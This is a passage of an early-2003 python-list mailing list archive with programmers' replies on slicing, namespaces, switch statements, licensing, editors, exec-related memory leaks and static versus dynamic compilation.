extended using Python, similar to how Emacs can be extended via LISP and
Alpha can be extended via TCL/TK.

Thank you.

-- 
== Eric Gorr ========= http://www.ericgorr.net ========= ICQ:9293199 ===
"Therefore the considerations of the intelligent always include both 
benefit and harm." - Sun Tzu
== Insults, like violence, are the last refuge of the incompetent... ===



From adalke at mindspring.com  Wed Jan 15 04:53:52 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Wed, 15 Jan 2003 02:53:52 -0700
Subject: matching and extracting...
In-Reply-To: <mailman.1042590627.3480.python-list@python.org>
References: <409a56e2.0301141324.6625547d@posting.google.com>	 <1042589408.27815.5.camel@software1.logiplex.internal>	 <1042589661.27820.8.camel@software1.logiplex.internal> <mailman.1042590627.3480.python-list@python.org>
Message-ID: <b03b3a$3ce$1@slb0.atl.mindspring.net>

Cliff Wells wrote:
> This is a couple of lines shorter and now my design is perfect <wink>:

I've heard that before somewhere ...  :)

> import re
> 
> class matchseq:
>     def __init__(self, sequence):
>         self.items = []
>         exp = ""
>         for item in sequence.split():
>             if exp:
>                 exp += " "
>             k, v = item.split('-')
>             exp += "(?P<%s>%s)" % (k, ["\D*\d*", k][v == 'p'])

Pedantically speaking, you should worry about a "k" with embedded
re metacharacters in it.  For example, have an 're.escape(k)' in case
there's ever a term like "a.1" and use a group name which you
construct yourself, then do a mapping from groupdict() to get the
requested mapping.

Though given the lack of spec, my qualifiers are irrelevant.

					Andrew
					dalke at dalkescientific.com




From mgarcia at cole-switches.com  Thu Jan 16 17:41:46 2003
From: mgarcia at cole-switches.com (Manuel M. Garcia)
Date: Thu, 16 Jan 2003 22:41:46 GMT
Subject: String Problem, What is it I don't understand?
References: <300e2v422gc01dsc8pn66jvi7cpooqkpek@4ax.com>
Message-ID: <aice2v8g2i9fd5kpv8rhnbjkb96hn6djl7@4ax.com>

On Thu, 16 Jan 2003 18:58:29 GMT, Bubba <bub at joos.us> wrote:
(edit)
>I would expect to get the month day and year from the following, but
>day and year are null
>xxx = "01/17/03"
>month = xxx[0:2]
>print "month=",month
>day = xxx[3:2]
>print "day=",day
>year = xxx[6:2]
>print "year=",year

(Please use Fixed Pitch Font)

+---------------------------------------------------+
| Python indexes and slices for a six-element list. |
| Indexes enumerate the elements                    |
| Slices enumerate the spaces between the elements. |
|                                                   |
| Index from rear:    -6  -5  -4  -3  -2  -1        |
| Index from front:    0   1   2   3   4   5        |
|                    +---+---+---+---+---+---+      |
|                    | a | b | c | d | e | f |      |
|                    +---+---+---+---+---+---+      |
| Slice from front:  :   1   2   3   4   5   :      |
| Slice from rear:   :  -5  -4  -3  -2  -1   :      |
|                                                   |
|   a=[0,1,2,3,4,5]            a[1:]==[1,2,3,4,5]   |
|   len(a)==6                  a[:5]==[0,1,2,3,4]   |
|   a[0]==0                    a[:-2]==[0,1,2,3]    |
|   a[5]==5                    a[1:2]==[1]          |
|   a[-1]==5                   a[1:-1]==[1,2,3,4]   |
|   a[-2]==4                                        |
|                                                   |
|   b=a[:]                                          |
|   b==[0,1,2,3,4,5] (shallow copy of a)            |
+---------------------------------------------------+

Manuel



From pinard at iro.umontreal.ca  Thu Jan 23 20:23:46 2003
From: pinard at iro.umontreal.ca (Francois Pinard)
Date: 23 Jan 2003 20:23:46 -0500
Subject: Python web development, really
In-Reply-To: <7xfzrj1ooz.fsf@ruckus.brouhaha.com>
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com>
	<mailman.1043359063.30364.python-list@python.org>
	<7xfzrj1ooz.fsf@ruckus.brouhaha.com>
Message-ID: <oqadhrl4rh.fsf@alcyon.progiciels-bpi.ca>

[Paul Rubin]

> Ian Bicking <ianb at colorstudy.com> writes:

> > PHP as a language is horrible, horrible, horrible. [...]

> I don't find PHP to be horrible.  It's just kind of limited.

As a tool, it might be usable.  As a language, I agree with Ian that it is
not attractive.  I did not evaluate it for long before putting it aside
as being a bit disgusting, and would prefer not having to use it ever.
Yet, I understand that circumstances do not always leave us a full choice.

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard




From max at alcyone.com  Wed Jan  8 21:02:19 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 08 Jan 2003 18:02:19 -0800
Subject: Python vs. Ruby
References: <001501c2b1e4$dac88770$21795418@dell1700> <mailman.1041520444.17527.python-list@python.org> <7W%S9.13908$t06.405476@news2.east.cox.net>
Message-ID: <3E1CD82B.3E67E420@alcyone.com>

"Stuart D. Gathman" wrote:

>   aList.sort();.reverse()       # aList.sort(); aList.reverse()
> 
> A statement cannot begin with '.', so ';.' means to invoke another
> method
> on the same object.

But is this awkwardness really worth it?  One of Python's truly great
assets is its transparently readable code.  I'm opposed on general
principle to anything which defeats that.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Strange is our situation here upon earth.
\__/ Albert Einstein
    ZOE / http://www.alcyone.com/pyos/zoe/
 A simple Python OpenGL rendering engine.



From andrew at indranet.co.nz  Mon Jan 13 17:52:39 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Tue, 14 Jan 2003 11:52:39 +1300
Subject: RH8.0, gfax, python
In-Reply-To: <d0HU9.1331$Pw.516@news1.central.cox.net>
References: <PZEU9.509$Pw.315@news1.central.cox.net>
 <mailman.1042490184.32188.python-list@python.org>
 <d0HU9.1331$Pw.516@news1.central.cox.net>
Message-ID: <153660000.1042498359@localhost.localdomain>

You will need at least gnome-python2-gconf-1.99.11-8.i386.rpm and 
pygtk2-libglade-1.99.12-7.i386.rpm and their dependencies on top of that 
one, and possibly some of the other gnome-python2-whatever RPMs.

The base gnome-python2 rpm is installed because most of the control panel 
applets use it, but there's more to gnome support in python than just that.

Andrew

--On Monday, January 13, 2003 22:24:09 +0000 Kelv <ah at well.ysee> wrote:

> Andrew McGregor wrote:
>> Find and install gnome-python2*.rpm from your distro and you should be
>> right.
>
> The rpm in question is gnome-python2-1.99.11-8.i386.rpm, and alas it is
> already installed.
>
> Kelv
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From vze4rx4y at verizon.net  Sat Jan 25 21:57:31 2003
From: vze4rx4y at verizon.net (Raymond Hettinger)
Date: Sun, 26 Jan 2003 02:57:31 GMT
Subject: Learning to use threads.
References: <0bFY9.9226$ZA1.2287565@twister.nyroc.rr.com>
Message-ID: <v8IY9.1012$qb1.531@nwrddc01.gnilink.net>

"Grumfish" <nobody at nowhere.com> wrote in message
news:0bFY9.9226$ZA1.2287565 at twister.nyroc.rr.com...
> I've never used threads before and thought now would be a good time to
> learn. Are there any good sites with tutorials of using threads with
> Python? I have a project where I think one object creates several
> threads and each thread returns messages back to the parent object. Is
> this a good way to do things? Could someone post a small example?

Follow Laura's advice and also look at the examples
in the Demo/threading directory for your Python installation.


Raymond Hettinger





From com-nospam at ccraig.org  Wed Jan  8 16:38:16 2003
From: com-nospam at ccraig.org (Christopher A. Craig)
Date: 08 Jan 2003 16:38:16 -0500
Subject: global variable not seen (bug?)
In-Reply-To: <20030108172556.GA8922@foof.i3.cz>
References: <mailman.1042041138.4444.python-list@python.org>
	<x71y3nwolf.fsf@guru.mired.org> <20030108172556.GA8922@foof.i3.cz>
Message-ID: <87y95v9vav.fsf@beren.ccraig.org>

Michal Vitecek <fuf at mageo.cz> writes:

>  i must say that this behaviour is pretty strange (non-intuitive at
>  least). why is it that the function looks for that variable in the
>  scope of its module? wouldn't that be more intuitive if it looked
>  for the variable in the current global scope?

I can't speak on whether or not it is intuitive.  It made perfect
sense to me, but I sat down and read not only the tutorial but also
the language reference before I started programming in Python and had
a decent grasp of what Python calls the 'global namespace'.

You're missing something very important though: It does look for the
variable in the current global scope.  Python namespaces are _very_
nice when you get used to them and have helped me to start overcoming
my childhood-trauma-induced fear of global variables.  Python
namespaces are completely static.  Where you call a function has
absolutely no effect on where its global namespace resides.

If you write a module x like this:
-----
state_var = 0

def foo(a, b):
   global state_var
   state_var=a+b
   return a+b
-----

then do 'from x import foo' in a program the global namespace for
foo() is the namespace of the module, not the namespace of the
caller.  This is very nice.  It means that when you write a library you
can use state variables without fear that some program author will
trample over their values.  Furthermore you can be certain that even
if your module is imported multiple times, you only have one state
variable.

There are very few good uses for global variables (even the much nicer
Python kind), but allowing the global namespaces to be modular goes a
long way to solving the problems with them.

-- 
Christopher A. Craig <com-nospam at ccraig.org>
"Never let schooling get in the way of your education"  Mark Twain




From johnroth at ameritech.net  Fri Jan 17 21:41:02 2003
From: johnroth at ameritech.net (John Roth)
Date: Fri, 17 Jan 2003 21:41:02 -0500
Subject: FW: Switch statements again
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com> <mailman.1042672950.5712.python-list@python.org> <b05r5n$oan$0@216.39.172.122> <v2dmafqgjf6ad8@news.supernews.com> <b07utn$bd1$0@216.39.172.122>
Message-ID: <v2hfk8bfd06r8e@news.supernews.com>

"Bengt Richter" <bokr at oz.net> wrote in message
news:b07utn$bd1$0 at 216.39.172.122...
> On Thu, 16 Jan 2003 11:10:43 -0500, "John Roth"
<johnroth at ameritech.net> wrote:
>
> >
> >"Bengt Richter" <bokr at oz.net> wrote in message
> >news:b05r5n$oan$0 at 216.39.172.122...
> >> On Wed, 15 Jan 2003 18:21:40 -0500, Steven Scott
> ><bodoni26 at resnet.gatech.edu> wrote:
> >>
> >> >Quoting Steven Scott <Steven.Scott at Synchrologic.com>:
> >> >>=20
> >> >> If/elif/else remains the most common method.  If Python ever
gains
> >> >> something
> >> >> like a switch statement you can bet the farm it won't have a
"fall
> >thru=
> >> >"
> >> >> feature though, so the way you've coded your C switch statement
> >wouldn'=
> >> >t
> >> >> work.
> >> >>=20
> >> >
> >> >but the absolute /only/ reason you'd use a switch over an if
(besides
> >> >looking better) is fall through.
> >> >
> >> Well, if you look at the code for an optimized C switch I think
you'll
> >> find another reason. I.e., if you can predetermine that all the
switch
> >> case _constants_ form a compact sequence of values, you can
generate a
> >> computed jump through a table that is a lot faster than a series of
> >> conditional jumps, and even in cases where you have to introduce
> >conditional
> >> jumps for boundary cases you may still gain.
> >
> >If all of the switch case _constants_ are single constants, you can
use
> >a dictionary or a list of functions.
> >
> The trouble with (current style) functions is that you can't put code
in them
> to rebind names in the caller's scope (i.e., the scope where you'd be
in an
> if/elif version of the case statement).
>
> However, if you could define transparent same-scope functions, it
could be different,
> and also avoid most of the call overhead. I posted some musings along
those lines
> in a thread some time ago.

That certainly is a problem with just about any approach that abstracts
out a separate function to do something.

After spending a few seconds on thinking about it, I will admit that I
couldn't come up with anything obvious that wasn't as ugly as sin
and that didn't pose problems.

>
> Regards,
> Bengt Richter

John Roth





From Scott.Daniels at Acm.Org  Sat Jan 11 15:52:12 2003
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Sat, 11 Jan 2003 12:52:12 -0800
Subject: Too Self Centered
In-Reply-To: <mailman.1042248104.14938.python-list@python.org>
References: <mailman.1042248104.14938.python-list@python.org>
Message-ID: <3e2083fc$1@nntp0.pdx.net>

> Or
> self.total = len[x for x in f.readlines() if x != '']
or self.total = len([None for x in f.readlines() if x != ''])

-Scott




From nav at adams.patriot.net  Fri Jan 31 11:19:40 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 31 Jan 2003 11:19:40 -0500
Subject: Python vs. C++ Builder - speed of development
References: <mailman.1043904061.3760.python-list@python.org> <nM5_9.4304$wd2.333480@newsread2.prod.itd.earthlink.net> <NU6_9.48134$Hl6.6118113@news010.worldonline.dk> <pLg_9.5360$Wu1.409484@newsread1.prod.itd.earthlink.net>
Message-ID: <yyyznphl2ar.fsf@adams.patriot.net>

"Brandon Van Every" <vanevery at 3DProgrammer.com> writes:

> Because I work at home.  I suppose I could go around the corner to a coffee
> shop.

Probably not a bad idea... Preferrably one _without_ an 802.11 access
point.

Just for sanity's sake,

Nick

-- 
# sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')




From soulchaos at hotmail.com  Fri Jan  3 15:01:40 2003
From: soulchaos at hotmail.com (Joe)
Date: Fri, 3 Jan 2003 21:01:40 +0100
Subject: php vs python
Message-ID: <3e15ed2c$0$214$edfadb0f@dread12.news.tele.dk>

I was attending a conference about php, and heard talk about some websites
switching from php to Phyton.

I have been programming php for some years now and just recently heard about
python used for web programming.

What can Phyton do for me that php cant't?

Regards Joe





From sean at activeprime.com  Wed Jan  8 15:49:12 2003
From: sean at activeprime.com (Sean)
Date: 8 Jan 2003 12:49:12 -0800
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc>
Message-ID: <ef7a350b.0301081249.232b8746@posting.google.com>

"Tupoi" <EDB30 at msn.com> wrote in message news:<3e1ba232_6 at nopics.sjc>...
> what are the best colleges for those wanting to major in computer science

The question is meaningless.  All undergrad CS is about the same. 
Differences in programs don't show themselves until you get to
graduate level.

That said, the (generally accepted) best (US) schools for graduate CS
are Carnagie Mellon and MIT.



From timr at probo.com  Thu Jan  9 00:50:44 2003
From: timr at probo.com (Tim Roberts)
Date: Wed, 08 Jan 2003 21:50:44 -0800
Subject: Confusion about numbers
Message-ID: <jr2q1vspelp0ddbi665rsodokmk4fvsbal@4ax.com>

I thought the special status of "long" numbers had gone by the wayside, so
that all integers were the same, but clearly I was mistaken:

C:\tmp>python
Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> i = 3L
>>> i
3L
>>> print i
3
>>> print `i`
3L
>>> print str(i)
3
>>> print repr(i)
3L
>>>

Is there a reason why we still need the "L" here?
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.



From sholden at holdenweb.com  Sat Jan 18 10:48:01 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Sat, 18 Jan 2003 15:48:01 GMT
Subject: Searching for solution: Severe memory leak, HELP!
References: <8338c7cc.0301180618.5c67da85@posting.google.com>
Message-ID: <RGeW9.5340$bs2.4910@news2.central.cox.net>

"Randy Young" <randall_young at hotmail.com> wrote in message
news:8338c7cc.0301180618.5c67da85 at posting.google.com...
> Sirs,
>
> I have a very large Python application squarely in my lap, that's
> leaking almost 20mb of main memory an hour!
>
> I spent most of last night looking through various postings, and not
> surprisingly, I'm wondering if I have a "circular reference" at work.
> Specifically, something happening with the heavy use of the "exec"
> library call.
>
> Here's a code snippet, can anyone see anything grievously wrong? I
> understand that we may need to look at WHAT is being "exec'd", but I
> thought this might be a place to start...
>
>
> ---- CODE BEGINS
>
>
> #import the module, then execute the probe
>   where = 'import'
>   win32event.WaitForSingleObject(self.iSemaphore, win32event.INFINITE)
>     try:
>       exec ("import %s" % probeInfo['ImportName'])
>     except Exception, e:
>       ret = "Import error on " + str(probeInfo['ImportName']) + " " +
> str(e)
>       self.ExceptOut(e, 'Exception importing Probe ID ' +
> str(probeInfo['ID']))
>     win32event.ReleaseSemaphore(self.iSemaphore, 1)
>
>     if (ret == None):
>       where = 'exec'
>       try:
> s = "ret = %s.%s (probeInfo)" % (probeInfo['ImportName'],
> probeInfo['Invoke'])
>         exec (s)
>
> # ... much more yada-yada ...
>
> ---- CODE ENDS
>
> As you can see there are "exec(s)" all over the place in the module,
> one mistake would be magnified many times! I'm trying to understand if
> I should be forcing a garbage collection or some other obvious thing?
>
> Thanks in advance for the consideration of a reply.
>

Well, firstly it might be better to use

    __import__(...)

than

    exec "import ..."

Also note, by the way, that exec is a statement and not a function, so the
parentheses are redundant.

What are you trying to import? It's conceivable that failed imports of a
badly-constructed extension might leak memory. Also note that if you leave
pointers to the stack frame lying about in "except" clauses that can cause
leakage.

Just a few random thoughts.

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/





From tim.one at comcast.net  Sun Jan 19 19:25:23 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sun, 19 Jan 2003 19:25:23 -0500
Subject: license
In-Reply-To: <000901c2c018$121cca60$c560f6d1@Arts>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEFDDJAB.tim.one@comcast.net>

[Arthur]
> But understand, if he was redistributing Python with some notification
> that what one is receiving is modified from Python2.3, there is not an
> issue.

As I said, the PSF license requires that derived works include a brief
summary of changes made from the base distribution.  That, along with
preserving the PSF licence and copyright notice, is roughly all it requires.
There are no restrictions on the nature of changes derived works can make.

> The facts here -
>
> One has a standard Python installation. That is assumed by the third
> party distribution. And with no warning that it intends to do so, that
> the 3rd party package you download modifies the standard installation,
> and gives no notification that it did so.
>
> And the modification does not even reverse itself if you uninstall that
> package.
>
> I think that's quite ugly.
>
> And thought someone might agree.

You asked whether it violated the license, not whether it was ugly.

> its refreshing to know I'm *never* right.

It sounded ugly to me too, but the license doesn't forbid ugliness.





From knightsofspamalot-factotum at gvdnet.dk  Fri Jan  3 13:49:02 2003
From: knightsofspamalot-factotum at gvdnet.dk (Martin Christensen)
Date: Fri, 03 Jan 2003 19:49:02 +0100
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org>
 <slrnb19use.h00.grey@teleute.dmiyu.org>
 <3e154de3_2@mk-nntp-2.news.uk.tiscali.com> <3E156ABB.CC059072@alcyone.com>
Message-ID: <877kdmax29.fsf@gvdnet.dk>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>>>>> "Erik" == Erik Max Francis <max at alcyone.com> writes:
Erik> I also don't want to get into a vi vs. emacs war [...]

Aw, you're no fun! :-)

Erik> [...] but how does emacs have a steeper learning curve, at least
Erik> for just basic text editing usage (creating files, opening
Erik> files, editing files, saving files, quitting)?  On the contrary,
Erik> I think to a total neophyte vi is a lot more intimidating: You
Erik> can't even start entering text unless you enter a code first.

As do you I am convinced that a total neophyte will be more
comfortable in Emacs than vi, simply because very, very few programs
that deal with text editing of any sort nowadays have different
modes. If not for the menues, however, a total neophyte would be as
lost in Emacs as in vi, and in all fairness, where Emacs has menues,
vi has GVim.

However, of what consequence are the first few weeks of stumbling in
the long term? I see no problem in an editor having a rather steep
learning curve if it is justified by long-term benefits, and both
Emacs and vi have made many such sacrifices.

I learnt to use basic vi by using the tutorial that comes with Vim.
I'm already an expert computer user and thus am not easily
intimidated, and so I learnt the basics in half an hour. But I would
never in a million years get my mother to use it. On the other hand,
she can use Emacs much the same as she'd use Notepad, i.e. typing and
deleting text as she normally would, using the mouse as she normally
would, but she'll never get beyond that. In truth she'd be better off
with a simpler editor, but Emacs was the one that was installed on her
Linux box the day she happened to need one. As a sidenote, when she
asked me what a buffer was I told her, "it's a file, Mum"; oh, the fun
it would be to explain the difference to her! :-)

Martin

- -- 
Homepage:       http://www.cs.auc.dk/~factotum/
GPG public key: http://www.cs.auc.dk/~factotum/gpgkey.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Using Mailcrypt+GnuPG <http://www.gnupg.org>

iEYEARECAAYFAj4V2x4ACgkQYu1fMmOQldWwYwCdFPsHE2WpaRPrWT70WMRKC9nM
USgAnjFhaBFgYGrc+JH8/U1U5T8aiVaY
=fzFI
-----END PGP SIGNATURE-----



From tismer at tismer.com  Sun Jan 12 21:10:30 2003
From: tismer at tismer.com (Christian Tismer)
Date: Mon, 13 Jan 2003 03:10:30 +0100
Subject: pypy: static vs. dynmic (was: [ann] Minimal Python project)
In-Reply-To: <7xk7havwod.fsf@ruckus.brouhaha.com>
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <mailman.1042325780.6288.python-list@python.org> <7xsmvzw91d.fsf@ruckus.brouhaha.com> <mailman.1042392686.28473.python-list@python.org> <RpjU9.13481$%V.8248@nwrddc02.gnilink.net> <mailman.1042406306.3595.python-list@python.org> <7xk7havwod.fsf@ruckus.brouhaha.com>
Message-ID: <3E222016.7000402@tismer.com>

Paul Rubin wrote:
> Christian Tismer <tismer at tismer.com> writes:
> 
>>>>... that can be
>>>>achieved with a static system.
>>
>>With a dynamic system, you can have backwards compatibility as well,
>>together with the flexibility to try alternatives on-the-fly rather
>>easily. Changing some very internal things to try something out is
>>still not easy, but with welded C code, this is almost impossible.
> 
> 
> Can you explain what you mean by static vs. dynamic?

Yes. Please see below.

> Is PHP a static system or a dynamic one?  I ask this because the PHP
> interpreter has been benchmarked as quite a bit faster than Python.
> Of course that must be partly because the PHP language doesn't use
> abstract objects so extensively, so the interpreter doesn't have to do
> as many dictionary lookups all the time.

Sorry, I don't have enough insight into PHP to
answer that question. And I doubt I will ever
have that, since what I saw my son programming
in PHP was much too perlish to invoke my interest :-)

(although I'm happy to see him programming at all,
hoping he will get back to Python in some future.
At the moment, he's trying to distinguish form his
father, which I can understand...)

I will try to explain my current perception of
static and dynamic in the context of building
a Python compiler. Please excuse that I'm writing
out of the top of my head. This is more a feeling
than exact information. Somebody will augment this
for sure, and I appreciate it.

What is STATIC?
---------------
Regardles of PHP (someone more enlighted may judge this),
by static I mean something like a C compiler, which is
fed by a number of C sources, which are fixed at some
compile time, with no chance to get changed.
There is exactly one build process, which leads to
an executable, and that's it. From then on, this
executable has to fit everything, for every application
and for all time, until another version is compiled.

The static executable is also almost always not
optimized for the platform, the processor brand,
the amount of physical memory available, and the
applications to be run.

Finally, the static build is also dependant of a C
compiler created by somebody, where it has no real
control about. This is especially true for closed
source platforms like Windows, but also open sourced
compilers like the gcc family are huge projects,
very difficult to understand for average programmers
like me, so they are black holes as well. That makes
optimizations into something like a try and error
game instead into a scientific project.

I admit that the last argument is not specific to
the static tag, it is just an observation that
comes for free. Implementing one's own system,
specifically designed towards the language to implement
and not trying to solve the world's needs for a compiler
surely creates an easier to understand and optimize
tool.

What is DYNAMIC?
----------------
Dynamic means to avoid compling lots of your system
based upon a fixed set of C sources, with some typical
C compiler. You try to avoid C at all. Instead, you
try to express as much as possible with a language
that is dynamic by nature (for the implicit definition
of dynamicness every Python programmer should feel).

You rely on the fact that your Python code will be
fed into a specializing compiler which is able to
do several things which a C compiler normally cannot
do:
- The executed code is analyzed at runtime. This gives
   the compiler the opportunity to optimize code driven
   by the needs of the actual application. This can lead
   to very different implementation of certain interpreter
   activities, in a very application dependant manner.
- The machine code can be created with knowledge of the
   actual hardware platform, to any thinkable extent!
   If there is a machine specification available that
   matches the current hardware, every speciality of the
   hardware can be used for optimization. To my knowledge,
   there is no such extensive optimization available at
   this time, but it is possible and likely to appear.
   The compiler can take measures of cache lines, main
   memory size and access time, special register sets
   in the CPU, everything is possible.
   This is out of the scope of a static C compiler.
- By avoiding the so-called C runtime system, or minimizing
   it to the absolutely necessary, the fence between
   Python code and library implementation of Python objects
   vanishes. This opens these things to optimization at
   runtime. There is no longer a Python interpreter, written
   in C, and a set of Python objects, implemented in C, with
   the interpreter calling methods of these objects.
   Instead, the optmization of the interpreter (written in
   Python) can dynamically decide, wheather it makes
   sense to call a method of certain objects in a
   pre-defined manner, or it can try a specialized
   version of that method (again written in Python),
   and it can implement this method inlined into the
   specialized version of the interpreter,
   that makes sense in just that current context.

   A C compiler has no chance to do something comparable,
   simply because it does not have the runtime info,
   but especially since it has no idea of Python at all!
   By writing almost everything in Python, we are able
   to generate every possible optimization, since we still
   have the full knowledge of the abstractions, of what we
   wanted to implement, of our objects and of our targets.*

This is what I call 'dynamic', and this is what I hope
to be the

                       __future__ of Python

dynamically y'rs -- chris


P.s.: *
   This is btw. something that would be lost by using
   macros, unless we invent a macro language which does
   know what it is doing. Almost all macro language I've
   seen so far did a dumb textual or tuple replacement.
   This is what language designers do when they don't know
   how to continue.
   Macros are a powerful extension to weak languages.
   Powerful languages don't need macros by definiton.

-- 
Christian Tismer             :^)   <mailto:tismer at tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/






From reageer.in at de.nieuwsgroep  Mon Jan 20 20:24:15 2003
From: reageer.in at de.nieuwsgroep (Rene Pijlman)
Date: Tue, 21 Jan 2003 02:24:15 +0100
Subject: Scope confusion...
References: <YX0X9.642361$GR5.433453@rwcrnsc51.ops.asp.att.net>
Message-ID: <q78p2v81b2ruajmpj79et5fcv1jnlv5cr4@4ax.com>

Kevin at Cazabon.com:
>I had a perplexing problem 
[...]
>def a(list = []):
[...]
>I would expect it to print "['test']" twenty times, correct?  It doesn't.

This is explained in section 4.7.1 of the Python tutorial:
http://www.python.org/doc/current/tut/node6.html

-- 
Ren? Pijlman

Wat wil jij leren?  http://www.leren.nl



From max at alcyone.com  Thu Jan 23 19:24:15 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 23 Jan 2003 16:24:15 -0800
Subject: (test?return_true:return_false)
References: <mailman.1043336848.6443.python-list@python.org> <1d4cf4c3.0301231155.f8bc70b@posting.google.com>
Message-ID: <3E3087AF.DB0D06CB@alcyone.com>

Daniel wrote:

> Oh no, I've become one of THEM!  Thank you, the a and b or c is good
> enough for me.

Just remember that a and b or c won't work if b is false.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ An undevout astronomer is mad.
\__/ Edward Young
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From reidlai at reidlai.com  Sun Jan 19 11:14:14 2003
From: reidlai at reidlai.com (Reid Lai)
Date: Mon, 20 Jan 2003 00:14:14 +0800
Subject: wxMDIClientFrame
Message-ID: <3E2ACED6.9020502@reidlai.com>

Dear All,

I am using wxPython and created a wxMDIClientFrame in parent MDIFrame. 
When I maximize the child, I cannot see maximize and minimize box in 
child frame.  How can I fix this problem?  Thanks for your advice.

Reid




From Mongryong at sympatico.ca  Thu Jan 30 17:50:05 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 30 Jan 2003 17:50:05 -0500
Subject: Python vs. C++ Builder - speed of development
In-Reply-To: <irh_9.106910$0v.3087534@news1.tin.it>
References: <3e36d04e_2@news.vo.lu> <pu@myRealBox.com>
	<mailman.1043781593.6864.python-list@python.org>
	<2pqd3vstctf2s1ubv1d7mps5brbh21bi9v@4ax.com>
	<kB1_9.3814$wd2.301194@newsread2.prod.itd.earthlink.net>
	<EO6_9.140743$AA2.5799807@news2.tin.it>
	<n5h_9.5386$Wu1.386311@newsread1.prod.itd.earthlink.net> 
	<irh_9.106910$0v.3087534@news1.tin.it>
Message-ID: <1043967005.1386.115.camel@refugeeMedia>

Hey boyz and girlz!

Let's end this silly thread since the original poster got their answer
(which was?? oh, to never ask another Python vs 'Some other language'
question ever again).  

I've started a new thread: Python Success Stories or Nightmares

Let's put those BASc, MASc, Ph.d, or Highschool Diploma's to good use,
huh?





From aleax at aleax.it  Wed Jan 29 07:18:29 2003
From: aleax at aleax.it (Alex Martelli)
Date: Wed, 29 Jan 2003 12:18:29 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043781593.6864.python-list@python.org> <mzCZ9.915$wd2.80392@newsread2.prod.itd.earthlink.net>
Message-ID: <pEPZ9.134668$AA2.5591360@news2.tin.it>

Brandon Van Every wrote:
> Laura Creighton wrote:
   ...
>> That is because almost
>> all my time spent in C++ come from some other place than actually
>> writing code from scratch.  Other people's milage may vary.

My own C++ experience was about 50-50 between "writing my own code"
(both "from scratch" and as changes to things I had previously
written) and helping colleagues with their code.  Both tasks are
somewhat onerous with C++, though the second is even more so.

> Find a different job then.

I have -- mostly, with the company Laura co-founded, AB Strakt -- so
I can now code just about exclusively in Python, thanks be.  So what?

That doesn't mean I shouldn't feel the pain of people who cannot yet
do so, and see if I can't help them enhance their quality of life by
doing more Pyton and less C++ (I'm not as extreme as Laura in claiming
the ideal quantity of C++ in the mix is zero: I'd guesstimate
"somewhere between 0 and 20%" depending on application area &c).
Human solidarity, an engineer's appreciation for using the RIGHT
tools, and an amateur economist's love of productivity increases
anywhere in the economy, all push me towards offering such help.

> Are you getting paid well for your C++
> headaches?  I wouldn't put up with it if it's as onerous as you make it
> sound.  Unless the money is really really good.

As Laura indicated, in her case you could probably use at least THREE 
repetitions of "really"... in mine, just one "really" would be enough.

But, it only matters up to a point, particularly in the context of
this thread's subject.  Hourly cost to hire a top-notch C++ or Python
programmer isn't all that different.  The point is, rather, that for
Python coding you can expect higher productivity by a factor of, say,
two to ten; maintenance productivity is similar.

Other phases of software development also benefit, although to lesser
degrees and depending on using appropriate methodological approaches --
e.g., having iterative analysis and design based on rapid feedback 
cycles with the customer (or whoevers stands for the customer) lets 
you do faster and better design and analysis with Python, while 
"waterfall" development would be just as much of a disaster in any 
language, just about.


Alex




From nospam at bigfoot.com  Fri Jan 17 11:55:31 2003
From: nospam at bigfoot.com (Gillou)
Date: Fri, 17 Jan 2003 17:55:31 +0100
Subject: xml.dom.minidom.parse() splitting text nodes?
References: <mailman.1042760131.22057.python-list@python.org>
Message-ID: <b09bom$7is$1@norfair.nerim.net>

Looking at the methods of the DOM Node (copy/paste following) in the python doc.
  normalize() 
